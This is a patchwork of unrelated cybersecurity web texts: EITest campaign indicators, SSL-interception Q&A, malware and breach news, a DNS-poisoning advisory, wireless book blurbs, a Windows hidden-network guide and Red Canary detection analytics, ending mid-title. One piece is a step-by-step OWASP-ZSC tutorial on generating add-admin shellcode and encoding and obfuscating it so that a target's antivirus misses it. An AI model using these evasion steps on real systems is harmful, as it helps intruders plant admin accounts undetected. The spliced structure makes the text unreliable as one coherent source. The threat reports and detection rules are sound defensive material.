In October 2014, Malwarebytes identified a campaign based on thousands of compromised websites that kicked off an infection chain to Angler exploit kit (EK). It was named “EITest” campaign, because “EITest” was a variable consistently found in injected scripts across all of the compromised websites. Malwarebytes noted some changes in this campaign in 2015 and2016. Like others in the cybersecurity threat research community, we have been tracking the EITest campaign. This blog post focuses on network traffic and how indicators have changed over time. The Evolution of EITest We first saw traffic related to this campaign in September 2014. Since then, patterns for injected script in the compromised websites have remained consistent. Only the URLs and variable names have changed. Figure 1: Injected script from the EITest campaign in September 2014. Figure 2: Injected script from the EITest campaign in March 2016. The EITest gate occasionally changes IP addresses, but since January 2016, this campaign used the 22.214.171.124/24 block. So far this year, the TLD for these domains has most often been .tk, but other TLDs are also used. Below is a list with the date, IP address, and domain we have seen for the EITest gate URL - 2014-09-22: 148.251.56[.]156 – flv.79highstreet.co[.]uk - 2014-10-02: 148.251.56[.]156 – fix-mo[.]tk - 2015-06-08: 194.15.126[.]7 – joans[.]ga - 2015-11-10: 31.184.192[.]206 – ymest[.]ml - 2015-12-04: 31.184.192[.]206 – vecexeze[.]tk - 2016-01-19: 85.93.0[.]32 – feedero[.]tk - 2016-01-25: 85.93.0[.]32 – http://www.bobibo[.]tk - 2016-01-26: 85.93.0[.]32 – en.robertkuzma[.]com - 2016-02-03: 85.93.0[.]32 – vyetbr[.]tk - 2016-02-10: 85.93.0[.]32 – dofned[.]tk - 2016-02-15: 85.93.0[.]32 – zeboms[.]tk - 2016-02-18: 85.93.0[.]32 – 14s.syte4[.]com - 2016-03-04: 85.93.0[.]33 – vovevy[.]tk - 2016-03-07: 85.93.0[.]33 – nixsys[.]tk - 2016-03-09: 85.93.0[.]33 – mvcvideo[.]tk - 2016-03-14: 85.93.0[.]33 – bab.aba98[.]com - 2016-03-29: 85.93.0[.]34 – folesd[.]tk When we first noticed the EITest gate in September 2014, the URL format was:[domain]/player.php?pid=[long hexadecimal string]. Sometime in 2015, player.php switched to[random word].php and ?pid changed to ?sid. By mid-February 2016, the EITest gate URL experienced more drastic changes. See figure 3 for details. Figure 3: Changes in EITest gate URLs since 2016-02-15. Flash File for Redirection The EITest gate URL continues to return a Flash file that redirects traffic to Angler EK. This gate URL always generates two HTTP GET requests. The first request retrieves the Flash file and the second request returns script pointing to an Angler EK landing page. Figure 4: First HTTP GET request to EITest gate returns a Flash file. Figure 5: Second HTTP GET request to EITest gate returns script pointing to Angler EK. Differences in Angler EK Used by This Campaign Angler EK used by this campaign is somewhat different than Angler EK for other actors. Campaigns like pseudo-Darkleech tend to distribute ransomware like CryptoWall or TeslaCrypt. However, the group behind EITest pushes a variety of malware. Below are examples of the Angler EK caused by the EITest campaign and the associated malware. - 2014-09-22: Vawtrak - 2014-10-02: Pushdo.s - 2015-06-08: Vawtrak - 2015-11-10: Tinba - 2015-12-04: TeslaCrypt - 2016-01-19: Bedep and Kovter.B - 2016-01-25: Fareit/Pony and Pusdo.s - 2016-01-26: Bedep and TeslaCrypt - 2016-02-03: HydraCrypt - 2016-02-10: Ursnif variant - 2016-02-15: TeslaCrypt - 2016-02-18: TeslaCrypt - 2016-03-03: TeslaCrypt - 2016-03-04: dropper, possible Andromeda - 2016-03-07: dropper, undetermined - 2016-03-09: TeslaCrypt - 2016-03-14: Zeus variant - 2016-03-29: Bedep and possible Neutrino/Andromeda malware The EITest campaign has been active since at least September 2014. Patterns of injected scripts sent by the websites compromised in this campaign have remained fairly static. However, the gate URL has evolved considerably since the campaign first started. The EITest gate leads to Angler EK and delivers a variety of malware. This campaign is not limited to ransomware like other campaigns that use Angler EK. Palo Alto Networks customers are protected from the EITest campaign through our next-generation security platform. Associated domains have been flagged as malicious in Threat Prevention, and WildFire classifies the Flash files used in this campaign as malicious. [Palo Alto Networks Research Center]
New answers tagged proxy You may not have the proper decoder in Burpsuite to perform testing. What "application-type" are you seeing with the requests? E.g., JSON, AJAX, etc., Burpsuite has separate decoders for JSON, and this does not mean your bank's API is using JSON. In order to properly analyze what is going on, you need the right tool for the job. What you can try to do, for ... This may or may not even be possible depending on what checks Nintendo does. If Nintendo only trusts their own certificate, signed by them, then you will be unable to make a key pair for the proxy that your DS will trust. Normal SSL/TLS MITM proxies require that the client trust the certificate used by the proxy as a root cert, that way the proxy can make ... In the diagram above, the encryption exists between you and the VPN server. Past the VPN server it is no longer encrypted. A VPN is a way to send traffic over a public connection and still have a reasonable expectation of privacy. The typical use case for them is either protecting your privacy or thwarting geoIP based filtering. However, like with any ... If the software is using a fixed port and an hostname rather than IP to connect you could redirect the traffic to your local computer and use, e.g. ncat to remove and readd ssl, then inspect the traffic in between. Comment if you need more details. Wireshark should be able to do it. However, the process is not as straightforward as you would have to scan the memory for the master secret. Here is a tutorial on how to decrypt SSL without access to the master private key. http://www.cloudshield.com/blog/advanced-malware/how-to-decrypt-openssl-sessions-using-wireshark-and-ssl-session-identifiers/ Top 50 recent answers are included
ESET, a cybersecurity company, reported that criminals are using the YouTube video service to spread a virus-miner for the hidden mining of the Monero cryptocurrency. According to the report, criminals use the stantinko botnet for cryptocurrency mining, which encrypts the IP addresses of proxy servers for the operation of a virus miner in a YouTube video. Computer security specialists discovered such videos and reported them to the service, after which the videos were deleted. At the same time, the program does not extract cryptocurrency if the laptop is running on battery power, since rapid discharge may cause suspicion in the user. Mining also stops if the user opens the task Manager window. In addition, the virus-miner interferes with the work of other programs for mining cryptocurrencies. Stantinko for the first time a botnet was discovered in 2012. At the same time, hacker attacks are mainly aimed at users from Russia, Ukraine, Belarus and Kazakhstan. ESET estimates that there are about 500,000 infected devices on the network. Recall that in September, it became known about the discovery of a new virus-the skidmap miner for the Linux operating system, which hides its activities.
[原文]Kerio WinRoute Firewall before 6.0.9 uses information from PTR queries in response to A queries, which allows remote attackers to poison the DNS cache or cause a denial of service (connection loss). WinRoute Firewall contains a flaw that may allow a malicious user to insert false information into the DNS cache. The issue is triggered when an unspecified error occurs. It is possible that the flaw may allow DNS poisoning resulting in a loss of integrity. Upgrade to version 6.0.9 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.
Be the first to like this When 6.46 million LinkedIn password hashes were dumped in a Russian hacker forum, Rapid7 analyzed the first 165,000 cracked to see what password security lessons could be learned. The results reveal a worrying trend of people continuing to use obvious words or number sequences, which have by now become part of hackers' code-cracking algorithms. This infographic identifies the common mistakes to avoid in creating secure passwords. To download a free Nexpose demo, click here: http://www.rapid7.com/products/nexpose/compare-downloads.jsp
Electronic and wireless technologies have changed the way we do businessforever. We have seen fast paced change in the last decade not only in information technology advancement but also in business model design and strategic direction. Technology has become central to company operations as well as strategy. If you want to deploy your own wireless network - at home or at the office you must first understand the capabilities and risks associated with the 802.11 protocols. And 802.11 Wireless Networks: The Definitive Guide, 2nd Edition is the perfect place to start. This updated edition covers everything you need to know about integrating wireless technology into your current infrastructure. Wireless Communications Principles and Practice - Chapter 2: Modern Wireless Communication Systems presents about Wireless Technologies, Wireless Personal Area Networks, Bluetooth and Personal Area networks. (BQ) Part 2 book "Business driven technology" has contents: Creating innovative organizations, integrating wireless technology in business, developing software to streamline operations, methodologies for supporting agile organizations, managing organizational projects,...and other contents. When the concept of a network without wires was first suggested more than two decades ago, it sparked the imagination of scientists, product vendors, and users around the globe eager for the convenience and flexibility of a free roaming connection. Unfortunately, as the variety of wireless solutions began to emerge, anticipation turned to disappointment.The first wave of solutions proved inadequate for the networking, portability, and security needs of a changing IT environment. Wireless security is the prevention of unauthorized access or damage to computers using wireless networks. The most common types of wireless security are Wired Equivalent Privacy (WEP) and Wi-Fi Protected Access (WPA). WEP is one of the least secure forms of security.Many laptop computers have wireless cards pre-installed. The ability to enter a network while mobile has great benefits. However, wireless networking is prone to some security issues. Crackers have found wireless networks relatively easy to break into, and even use wireless technology to crack into wired networks...... Hello, in this module we are going to discuss wireless networking. Specifically, we'll take a look at how wireless technology works, how it is commonly deployed, and the security issues associated with using it. Because wireless communications can penetrate opaque objects such as buildings, the risk of someone accessing a private network increases markedly. With wireless, an attacker does not need to gain access to physical cables or jacks, but only needs to have an antenna and be within range of the transmissions.... This book provides a comprehensive introduction to the underlying theory, design techniques and analytical tools of wireless communications, focusing primarily on the core principles of wireless system design. The book begins with an overview of wireless systems and standards. The characteristics of the wireless channel are then described, including their fundamental capacity limits. Various modulation, coding, and signal processing schemes are then discussed in detail, including state-of-the-art adaptive modulation, multicarrier, spread spectrum, and multiple antenna techniques.... Insider attacks pose an often neglected threat scenario when devising security mechanisms for emerging wireless technologies. For example, traffic safety applications in vehicular networks aim to prevent fatal collisions and preemptively warn drivers of hazards along their path, thus preserving numerous lives. Unmitigated attacks upon these networks stand to severely jeopardize their adoption and limit the scope of their deployment. Welcome to the world of Cisco Certified Network Associate (CCNA) Wireless! As technology continues to evolve, wireless technologies are finding their way to the forefront. This clearly indicates the progression from a fixed wired type of connectivity to a more fluid, mobile workforce that can work when, where, and how they want. Regardless of your background, one of the primary goals of the new CCNA Wireless certification is to introduce you to the Cisco Unified Wireless Network (CUWN). The expansion and popularity of the Internet, along with the addition of wireless data functionality to wireless networks, has also contributed greatly to the growth of the wireless industry. In fact, the anticipated consumer demand for high bandwidth wireless data is commonly seen as the driving force behind current network upgrades and expansions. The number and types of companies aggressively investing in wireless technologies illustrate the importance of wireless data. In this chapter, you will learn to: Describe the enterprise requirements for providing teleworker services, including the differences between private and public network infrastructures. Describe the teleworker requirements and recommended architecture for providing teleworking services. Explain how broadband services extend enterprise networks using DSL, cable, and wireless technology. The provision of wireless access to the Public Switched Telephone Network (PSTN) from a customer premises is known as Wireless Local Loop (WLL). The potential markets of application of WLL range from developing countries to developed ones. In both cases, the liberalization of the telecommunications market has allowed competition among operators around the world. Many communities of difficult access are still waiting for basic telephone service, which could be viable only by wireless technology, which, besides, offers a fast and cost-effective option.... Wireless e-business allows people to communicate and transact in business via wireless technology, without physical connectivity, such as wires or cabling. Wireless e-business uses many devices, including mobile phones, pagers, palmpowered personal computers (PCs), pocket PCs, laptop computers, and other mobile devices or devices connected to the wireless networks (BQ) Data Communications and Computer Networks: A Business User's Approach will give you the thorough understanding you need of basic features, operations, and limitations of ifferent types of computer networks. This book offers full coverage of wireless technologies, industry convergence, compression techniques, network security, LAN technologies, VoIP, and error detection and correction. Recently, many telecommunications operators have been looking for wireless technology to replace parts of the hard-wire infrastructure. The wireless local loop (WLL) technology is considered as the most fitting solution as radio systems can be rapidly developed, easily extended, and are distance insensitive. Since a WLL eliminates the needs (such as wires, poles and ducts) essential for a wired network, it can significantly speed up the installation process. A typical WLL system may consist of hundreds or thousands of base stations (BSs). Wireless Technology: Protocols, Standards, and Techniques has sorted it out for you. From basic principles to the state of the art, it furnishes clear, concise descriptions of second and third generation wireless technologies. The bestselling author of the Foundations of Mobile Radio Engineering has gathered together the most up-to-date networking standards, techniques, and protocols and incorporated clear, concise treatments of the necessary background material to form the most current and complete wireless reference available.... The use of radio-frequency communication—commonly referred to as wireless communication—is becoming more pervasive as well as more economically and socially important. Technological progress over many decades has enabled the deployment of several successive generations of cellular telephone technology, which is now used by many billions of people worldwide; the near-universal addition of wireless local area networking to personal computers; and a proliferation of actual and proposed uses of wireless communications. Wireless technology has enormous potential to change the way people and things communicate. Future wireless networks will allow people on the move to communicate with anyone, anywhere, and at any time using a range of high-performance multimedia services. Wireless video will support applications such as enhanced social networking, distance learning and remote medicine. Wireless sensor networks can also enable a new class of intelligent home electronics, smart and energy-efficient buildings and highways, and in-body networks for analysis and treatment of medical conditions....
A backdoor attack is a type of malware that can enable cyber criminals to enter your infrastructure under the radar. Once they’re in, hackers can access your network remotely, monitor your activity, obtain sensitive information, and change data or run software to damage your company. If threat actors successfully install the backdoor to your devices, it can become a major vulnerability in the security of your organization. What are some tell-tale signs that your company is likely to be a victim of a backdoor attack, and how can you protect what you’ve built from hackers? What Is a Backdoor Attack, Exactly? Backdoor refers to the malware that grants access to hackers to your system. It’s a type of hidden entrance that online criminals can use to get into your system remotely. When they enter your network, they can install other malware on your computer and collect sensitive information without you knowing it. Backdoor attacks don’t leave any traces and can go unnoticed because threat actors don’t need your passwords, they can use the hidden backdoor to get into the network instead. However, this tool isn’t only used by hackers. Developers can also install a backdoor to your devices. Once installed on the device, the backdoor gives them the means to access your technology remotely and troubleshoot in case something is not properly functioning within your network. How Common are Backdoor Attacks? It’s difficult to estimate how common cyber breaches of this kind are because many of them go unreported and unnoticed. Let’s see the statistics of the most common way that hackers can install the backdoor in systems — via Trojan viruses. According to Statista, Trojans have been responsible for more than half (64.31%) of all cyberattacks in 2019. Compared to other threats such as viruses and worms, Trojans have been the most widespread type of hacking. In 2021, it was reported that 51.45% of all malware were in fact Trojan viruses. While there has been a drop in the cases, a Trojan is still one of the top threats that can result in backdoor installation on your devices. What Types of Businesses Are Likely to Be Targeted? Any business that relies on an app or has a network that can be accessed remotely is likely to be the target of a backdoor attack. With the rise of remote work and an increased number of web applications, hackers have more opportunities to breach systems, especially if they lack sufficient cybersecurity measures. Therefore, virtually anyone can be the victim of a backdoor attack —especially businesses that work remotely or have app-based services or tools that are essential for their operations. Which Types of Backdoor Attacks Should You Know About? A Trojan is the most well-known type of backdoor attack. It usually sneaks into the network as a smaller file to bypass the security. As soon as it enters your system, it uses the file to complete the download of a larger file containing the virus. Keep in mind that there are numerous types of Trojan viruses. Hackers have adapted it for their needs and altered them throughout the years to ensure it enters businesses undetected. Other kinds of backdoor attacks that are common according to OWASP include backdoors that: - Expose administration and management interfaces — they can grant admin privileges to threat actors and give them control to take over an application - Add useless features, interfaces, or functions to your network — allowing control over parts of the system and a variety of tweaks - Include hidden perimeters in the infrastructure — they target businesses that lack protection or don’t actively seek possible backdoors - Include redundant users on the app — it can be easily removed, but if they’re not detected can grant complete control over the system to hackers - Cause authorization issues within the company — which can result in the access of third parties to your organization How to Protect Your Business from Backdoor Attacks? To guard your organization against the backdoor attack, use specific software that is designed to catch the attempts of shell installation on your devices as well as remove them from your system. For example, Web Application Firewalls can have backdoor attack protection integrated into software since this is the likely threat to target apps. Antivirus software and firewalls are the basic tools that every business should have to defend itself from the most common types of cyberattacks such as phishing, malware, and DDoS. However, they may not have the ability to detect sophisticated backdoors that are designed to bypass common tools and security policies that otherwise guard your company. Preventive measures, or having the tools that can detect the shell is your best bet because the main issue with the backdoor is that it can bypass security measures. Getting rid of the shell in its entirety is quite challenging. If they’re already in the system, they have to be quarantined and removed to prevent causing more damage. Backdoor attacks can target any device that is connected to the internet or application and network that you as a business use for remote work. Organizations that lack protection from this attack are likely to have threat actors in the system without knowing it. They could use the backdoor to install additional malware to your system or monitor it quietly for months without you realizing it. Once it’s in the system, it’s difficult to remove the remaining shells that can allow access to your network. Therefore, it’s best to prepare for a possible attack by introducing preventive measures. Utilizing protective software that can remove the shell before it gets a chance to enter your infrastructure is the best step to take to protect yourself from this malicious threat.
The Register reports that recent significant cyberattacks against health insurer Medibank and telecommunications firm Optus have prompted Australia to bolster its cybercrime offensive, with the Australian Federal Police and the Australian Signals Directorate, the Australian counterpart of the National Security Agency, launching an operation that would target and disrupt cybercrime operations, particularly ransomware groups, targeting the country. "This is not a model of policing, where we wait for a crime to be committed and then try to understand who it is and do something to the people who are responsible. We are offensively going to find these people, hunt them down and debilitate them before they can attack our country," said Australia's Minister for Home Affairs and Cybersecurity Clare O'Neil in an interview. O'Neil also stressed the importance of collaboration with the FBI and other intelligence and police forces worldwide, as well as the partnership between the government, private sector, and citizens, in curbing cybersecurity threats. "What we need to do, and what I need to do in my job, is drive a whole of nation effort where we see all of these groups in the community lift up their defenses together," O'Neil added. Novel Go-based information stealer Aurora has been increasingly added by threat actors in their arsenal, with at least seven active cybercrime groups either leveraging the malware exclusively or alongside other info-stealers Raccoon and Redline, BleepingComputer reports.
Among the tools available to create shellcode capable of going undetected by Anti-Virus (AV) software, OWASP-ZSC (Zero-day ShellCode) may be the most versatile. OWASP-ZSC is project of OWASP, continues under development and has some useful features not found in some of the other applications in this category. In this tutorial, I will attempt to demonstrate some of the most important features of OWASP-ZSC and how they can be used to create Zero-day shellcode that will evade AV software. For more on Evading AV, check out; Shellcode is basically instructions that executed when the code is injected into a running application such SMB and other vulnerable services and applications. Buffer overflows are most often used in these cases. When a stack or heap based buffer overflow is executed, the shellcode is then injected and often gives the attacker a way to control the target system through such things as a command shell (hence its name). Whenever new shellcode becomes available, it is incumbent upon the Anti-Virus software developers (if they want to remain relevant in this industry) to develop a signature or other method to detect the malicious content. As hackers/pentesters, we need to constantly be changing our shellcode to evade the antivirus software and remain stealthy and effective. OWASP-ZSC is one more tool we can use to create, encode and obfuscate our shellcode to remain undetected by the Anti-Virus software on the target's machine. Let's take a look at how we can use OWASP-ZSC to build, encode and obfuscate shellcode. Step #1 Fire Up Kali The first step, of course, is to fire up Kali or other attack operating system. OWASP-ZSC is developed to run on Linux, OSX or Windows, but I suggest you run it under Linux as some components don't work properly under the other two OS's. Step #2 Download OWASP-ZSC OWASP-ZSC is not built into Kali, nor is it in the Kali Repository, so we will need to download it from github.com. kali > git clone https://github.com/zscproject/OWASP-ZSC Once we have OWASP-ZSC downloaded to our Kali system, the next step is to install it. Navigate to the directory of OWASP-ZSC. kali > cd OWASP-ZSC Next, we need to execute the installer the script kali > ./installer.py Once the installer has run, you should see a screen like that above. Note that to uninstall OWASP-ZSC, you simply run ./uninstaller script. Also, once OWASP-ZSC has been installed, you need only type zsc to start this script. kali > zsc Step #3 The OWASP-ZSC Help Before we get started with OWASP-ZSC, let's take a look at the help screen. That's ALWAYS a good idea when using a new application. zsc > help In the screenshot above, you can see that OWASP-ZSC displays all the commands in its help screen. The key commands are the first six, but also note the back, clear, help, exit commands that useful when using OWASP-ZSC. Step #4 Generate Shellcode Now, let's generate some shellcode. As we can see from from the help screen, we simply type "shellcode" and then "generate". zsc > shellcode zsc > generate OWASP-ZSC uses the TAB key to show options for any command, so now we use the TAB to show the shellcode options. As you can see below, OWASP_ZSC has three OS shellcode options, linux_x86, osx_x86 and windows_x86. Since most of us are interested in Windows, let's type; zsc > windows_x86 Now that we have selected the type of target OS platform to build a shellcode for, we can hit TAB to get more options. OWASP-ZSC now displays the shellcode options it has for windows_x86. Note that we are not limited to these shellcodes. OWASP-ZSC will work on just about any shellcode, but these shellcodes are built-in by default. You can get a plethora of shellcodes to use at shell-storm.org among other places including exploit-db.com. OWASP-ZSC has an API connected to the www.shell-storm.org site that enables you to search and download directly from the hundreds of shellcode at that site Let's use the add_admin shellcode. This shellcode will--as the name implies-- add another admin user on the target system. zsc > add_admin OWASP-ZSC will now prompt us for the username and password we want to use for this admin account. Of course, I entered my name, "OTW" and password "hackers-arise". In the next step, we need to determine whether we want to encode the shellcode. If you don't want to encode, type "none". Here, I chose to encode with random XOR (xor_random). The random encodes produce shellcode that is different each time making it more likely to be undetected by AV. After I typed in my encoding type, OWASP-ZSC prompts me whether I want to output assembly code and whether I want to output my shellcode to the screen. I said "n" for the assembly and "y" to output the shellcode to my screen. Of course, neither is necessary. OWASP-ZSC now prompts us whether we want to output to .c file. I entered "y". It then prompts me for a file name. You can call your new shellcode any qualified file name, but I entered "mynewshellcode". When I create my new shellcode, it saves it by default in the OWASP=ZSC directory. Let's take a look. Note that "mynewshellcode" was saved at /root/OWASP-ZSC. Step # 6 Obfuscate The process of obfuscation is an attempt to conceal the real purpose of the code. In this way, the forensic investigator or incident handler is less likely to understand the purpose of our shellcode. Next, we want to obfuscate that shellcode. Enter "obfuscate"; zsc > obfuscate Now, to see the choices, hit the TAB key. It will display your obfuscation choices. These include; I selected Perl. For more on Perl, see my series on Scripting for Hackers. This may not be the best choice for attacking Windows systems as the Perl interpreter is seldom on Windows systems, but I will use it nevertheless for demonstration purposes. On the other hand, it is unlikely that the AV has a signature for this shellcode in Perl, so that it will likely go undetected by Windows AV and be effective against those rare systems where the Perl interpreter is installed. OWASP-ZSC now prompts you for the file name your want to obfuscate. Simply enter the full path to our new shellcode or any shellcode you have on your system. In my case, it is /root/OWASP-ZSC/mynewshellcode. It then prompts you for the encoding you want to use and I selected simple_hex. The final step is to test your new shellcode against AV software. If you know what software the target is using, simply test it against that one (check out my article on recon-ng to determine the AV the target is using). If not, you can test your new shellcode at VirusTotal to see how well it evades most commercial AV software.
That “critical” software update for your Asus computer may have actually been malware, planted by hackers in a targeted attack now known as “ShadowHammer,” we learned yesterday. Now, Asus says it has a fix in the form of an actual security update — one that you can download using its Live Update software tool. In addition, the company says it has a second “security diagnostic” tool you can use to scan to see if your computer has been affected. “[W]e encourage users who are still concerned to run it as a precaution,” reads part of the company’s press release, which includes a link to the software. The company’s press release notably does not include an apology, and it downplays the hack, stating that “Only a very small number of specific user group were found to have been targeted.” Cybersecurity firm Kaspersky Lab had previously estimated that the malware could have been distributed to as many as 1 million computers, and installed on hundreds of thousands of those machines, which doesn’t sound like a small number to me. Both Kaspersky and Symantec say they’d identified the malware in at least tens of thousands of cases. However, Asus does say it’s taken steps to ensure such a trojan horse won’t make it through again, including “multiple security verification mechanisms to prevent any malicious manipulation” and “an enhanced end-to-end encryption mechanism.” “At the same time, we have also updated and strengthened our server-to-end-user software architecture to prevent similar attacks from happening in the future,” Asus says.
While connecting to a broadcasting wireless network in Windows is a very simple process, the same can’t be said of a hidden network. By not broadcasting its SSID (service set identifier), or network name, a hidden network is not visible in the list of available networks you can access from your computer. You’ll need to know the SSID, as well as all of the other security information before you can connect. Read on for step-by-step instructions for connecting to a hidden network in Windows 8 and Windows 8.1. Get Your Wireless Network Details When connecting to a broadcasting network, much of the network configuration is done for you automatically. All you have to do is enter a password. When connecting to a hidden network you’ll need to gather all of the information and enter it in manually. Before you even try to connect, you’ll need to gather some important information. Access your router’s configuration menu, which can typically be done by entering its IP address in your browser’s address bar. Select the wireless settings section and take note of your network’s name (or SSID) and security type. If your network uses WEP, check the WEP key. If you’re using WPA-PSK or WPA2-PSK, take note of the Pre-shared key. If you aren’t using any kind of security, you’ll only need the SSID. NOTE: The aforementioned security types are those most likely to be found in home networks. WPA, WPA2 and 802.1x are most often found in corporate networks, where an admin would be handling the configuration. Before trying to connect, make sure that you are in the area of the wireless network you want to connect to. Access the Network and Sharing Center There are a number of ways to enter the Network and Sharing Center. The fastest method on the Desktop is to right-click the networking icon in the system tray and click “Open Network and Sharing Center.” All the other ways of accessing it are detailed in this guide: What is the Network and Sharing Center in Windows?. How to Connect to a Hidden Wireless Network Once you find your way to the Network and Sharing Center, click or tap “Set up a new connection or network.” Select “Manually connect to a wireless network” and click or tap “Next.” Enter the security information for your network in the spaces provided, as follows: - Enter the SSID in the network name field. - In the security type field choose the type of security used by the wireless network you want to connect to. Some routers may name this authentication method. Depending on the security type you choose, Windows may or may not ask you to select the encryption type. - In the security key field, enter the password used by the wireless network. - If you don’t want others to see the password you type, check the box that says “Hide characters”. - In order to connect to this network automatically, you should check the box that says “Start this connection automatically”. - You should also check the box that says “Connect even if the network is not broadcasting”. Once you have entered all the information that was requested from you, press Next. You are notified whether Windows has successfully added the wireless network. Press Close and you are done. If the network is in the area, Windows automatically connects to it. Check your network icon in the system tray. It should depict a series of full bars to show your connection strength. Troubleshooting Connection Issues Even if you followed the instructions provided above carefully, issues can arise. If you find yourself unable to connect to your network of choice, and you’re sure the security information you entered is exactly correct, check out these articles for troubleshooting information. - Troubleshoot Internet Connection Problems over a Wireless Network – Windows can diagnose and solve many simple connectivity issues using its own troubleshooter. This article details how to access the tool. - Troubleshoot Wireless Network Connection Problems by Yourself – If you’d rather do your own troubleshooting, this article provides a series of flowcharts that can help. Answering a few questions can help you find the cause of your networking troubles. - How to Delete or Forget Wireless Network Profiles in Windows 8.1 – If you find yourself unable to connect to a previously functioning network, you may have an issue with your network profile. Check out this tutorial the learn how to delete the troublesome profile and get connected. You’ll notice that the procedure for connecting to your hidden network is much more complex than simply connecting to a broadcasting network. In case you are wondering whether or not it is worth the effort, that is a matter of debate. Hiding your SSID does cloak the network from unskilled hackers and freeloaders, but it wouldn’t even slow down an experienced hacker. In the end, if hiding your SSID makes you feel more secure, go for it. But no matter what you choose, make sure to use a secure password and encryption.
If you’re running a small business or if you’re simply a home user, you might want to think about changing your router to something with a little more security. This is because researchers have discovered that a host of routers typically favored by small businesses and home users have been compromised, about 300,000 devices to be exact. The devices in question are made by D-Link, Micronet, Tenda, TP-Link, and more. According to the researchers, Team Cymru, it seems that these hackers have managed to commandeer these routers and actually made changes to the DNS servers. Some of the hacks that they think could have been used include cross-site request forgery, as well as remotely changing WPA/WPA2 passwords. As it stands there does not appear to be one particular region that has been targeted as they report that it has occurred worldwide, including countries such as Vietnam, India, Italy, Thailand, and Colombia. What happens when these routers get hacked is that the hackers can then re-route websites visited to malicious websites which might then attempt to steal critical information from the users, such as bank passwords and so on. According to the report, “The scale of this attack suggests a more traditional criminal intent, such as search result redirection, replacing advertisements, or installing drive-by downloads; all activities that need to be done on a large scale for profitability.” The researchers have also reached out to the companies whose routers have been compromised to inform them of the hack. In the meantime apart from changing your router to one with tougher security, is to disable remote administration capabilities, or at least limit the IP addresses that can access the router, and to check your DNS settings to make sure they haven’t been altered. So far it has been found that routers that have been compromised have had their DNS settings changed to 18.104.22.168 and 22.214.171.124.
Threat: New activity cluster Rose Flamingo relies on search engine optimization (SEO) poisoning to trick victims into infecting themselves.Pairs with this song One of several new activity clusters we identified last year, Rose Flamingo targets victims who are looking to download licensed software without having to pay for it. A “password” text file is this adversary’s power, pleasure, and pain. Editors’ note: While the analysis and detection opportunities remain applicable, this page has not been updated since 2022. Rose Flamingo is an activity cluster named by Red Canary that focuses on opportunistic, financially motivated malware as an initial access broker. Rose Flamingo targets victims who are looking to download licensed software without having to pay for it. Payloads related to Rose Flamingo typically arrive as archive files that are distributed via phony file-sharing websites purporting to provide users with “free” cracked software packages. To lure potential victims, the adversaries behind Rose Flamingo use search engine optimization (SEO) poisoning to elevate a malicious site’s search ranking. Rose Flamingo victims will typically download a ZIP archive file containing two files at a minimum. Archives related to Rose Flamingo may contain words like crack. While these archives usually appear as ZIP files, they infrequently appear as other compressed archive formats as well. The files in a typical Rose Flamingo archive are a “password” text file and one password-protected archive. Some iterations of these “password” files contain the password and some classic ASCII art, as shown below, though the purpose behind the art is unknown. This type of delivery method conceals the malicious payloads that are contained within the password-protected archive from any prying security software. While we created the Rose Flamingo naming convention to help us track activity we consider to be related, there’s a growing body of external research documenting components that partially overlap with what we define as Rose Flamingo. Much of this emerging research dropped in 2021, and it’s worth reviewing for anyone who is interested in learning more about related activity: - In January 2021, CSIS Security Group released research referencing infrastructure and payloads that overlap with Rose Flamingo. - In March 2021, Fortinet detailed a threat called Netbounce, which uses a similar file-naming convention and has some overlapping infrastructure. - Just about a week later in March 2021, Proofpoint published research about a threat they call CopperStealer (Mingloa), describing infrastructure and payload-naming conventions that are very similar to Rose Flamingo’s. - In June 2021, an Ahnlab report described a threat called Cryptbot, detailing files used for delivery that appear to overlap with Rose Flamingo’s file-naming conventions. - In late July 2021, BitDefender joined the party, helping corroborate many of our own observations with their MosaicLoader whitepaper, a great report that touches on much of the initial loader activity we’ve observed in Rose Flamingo-related incidents. - Last but not least, in September 2021, SophosLabs released research that focuses on a content delivery network that has many infrastructure and payload overlaps with our analysis. Because none of us have perfect visibility, we appreciate that other teams share their perspective and how they track these threats. As seen in our Intelligence Insights rankings from month to month, Rose Flamingo made our top 10 list for the first time in July 2021, climbing to eighth place for most prevalent threats that month. It also made our top 10 in September and October 2021. Red Canary has observed Rose Flamingo delivering various stealers such as Cryptbot, RedLine, and Raccoon, in addition to more concerning payloads such as STOP ransomware. We will continue birdwatching as we look for new opportunities to observe and take action when threats like Rose Flamingo find a new place to roost. Archive containing ZIP and TXT files containing This detection analytic will identify processes making file modifications for ZIP archive files and TXT files with the string password in them, which we commonly observe in Rose Flamingo activity. The password files may contain different naming variations, such as passw0rd. Detecting TXT files with these strings may generate fewer false positives. If you have trouble getting this detection opportunity to work, you may find further success focusing on application processes that are responsible for handling archives in your organization, such as 7zip. filemod_includes ('zip') && filemod_includes ('password' && 'txt') Potential Rose Flamingo loader This detection analytic will identify unusual processes that contain naming schemas that have been observed in use by loaders related to Rose Flamingo archives. process_name_includes ('main-' \|\| 'installer-v' \|\| 'main_setup_x86x64' \|\| 'x86_x64_setup' \|\| 'setup_x86_x64') Potential Rose Flamingo archive This detection analytic will identify files and file paths that contain strings commonly observed in archives delivered by Rose Flamingo. filepath_includes ('-free' \|\| '-crack' \|\| '-download' \|\| '-key' \|\| '-license' \|\| '-iso' \|\| '-lnstall') \|\| filename_includes ('-free' \|\| '-crack' \|\| '-download' \|\| '-key' \|\| '-license' \|\| '-iso' \|\| '-lnstall') && filename_includes ('zip' \|\| '7z' \|\| 'rar')
Up to date information on all the latest attack methods and how to test your network against them! The Network: Security News Latest Security News from The Network Cisco Reports First Quarter FY20 Earnings on November 13, 2019 at 8:15 pm Cisco Reports First Quarter FY20 EarningsMore RSS Feed: newsroom.cisco.com/rss-feeds ... Securing your future by innovating today on November 5, 2019 at 8:00 pm As you're innovating to build your future, we're innovating to keep it secure. More RSS Feed for Cisco: newsroom.cisco.com/rss-feeds ... Secureworks Blog - threats-and-defenses Insights from our experts about the ever-evolving cybersecurity community State of the [BRONZE] UNION Snapshot by Counter Threat Unit™ Research Team on February 27, 2019 at 12:00 am State of the [BRONZE] UNION SnapshotThe BRONZE UNION threat group focuses on espionage and targets a broad range of organizations and groups using a variety of tools and methods. The BRONZE UNION threat group focuses on espionage and targets a broad range of organizations and groups using a variety […] Cloud Container Security Best Practices by Counter Threat Unit™ Research Team on December 6, 2018 at 12:00 am Cloud Container Security Best PracticesContainers can reduce complexity, ensure continuity, and add layered security. However, they can also introduce risk without sufficient security controls and processes.Containers can reduce complexity, ensure continuity, and add layered security. However, they […] Lazy Passwords Become Rocket Fuel for Emotet SMB 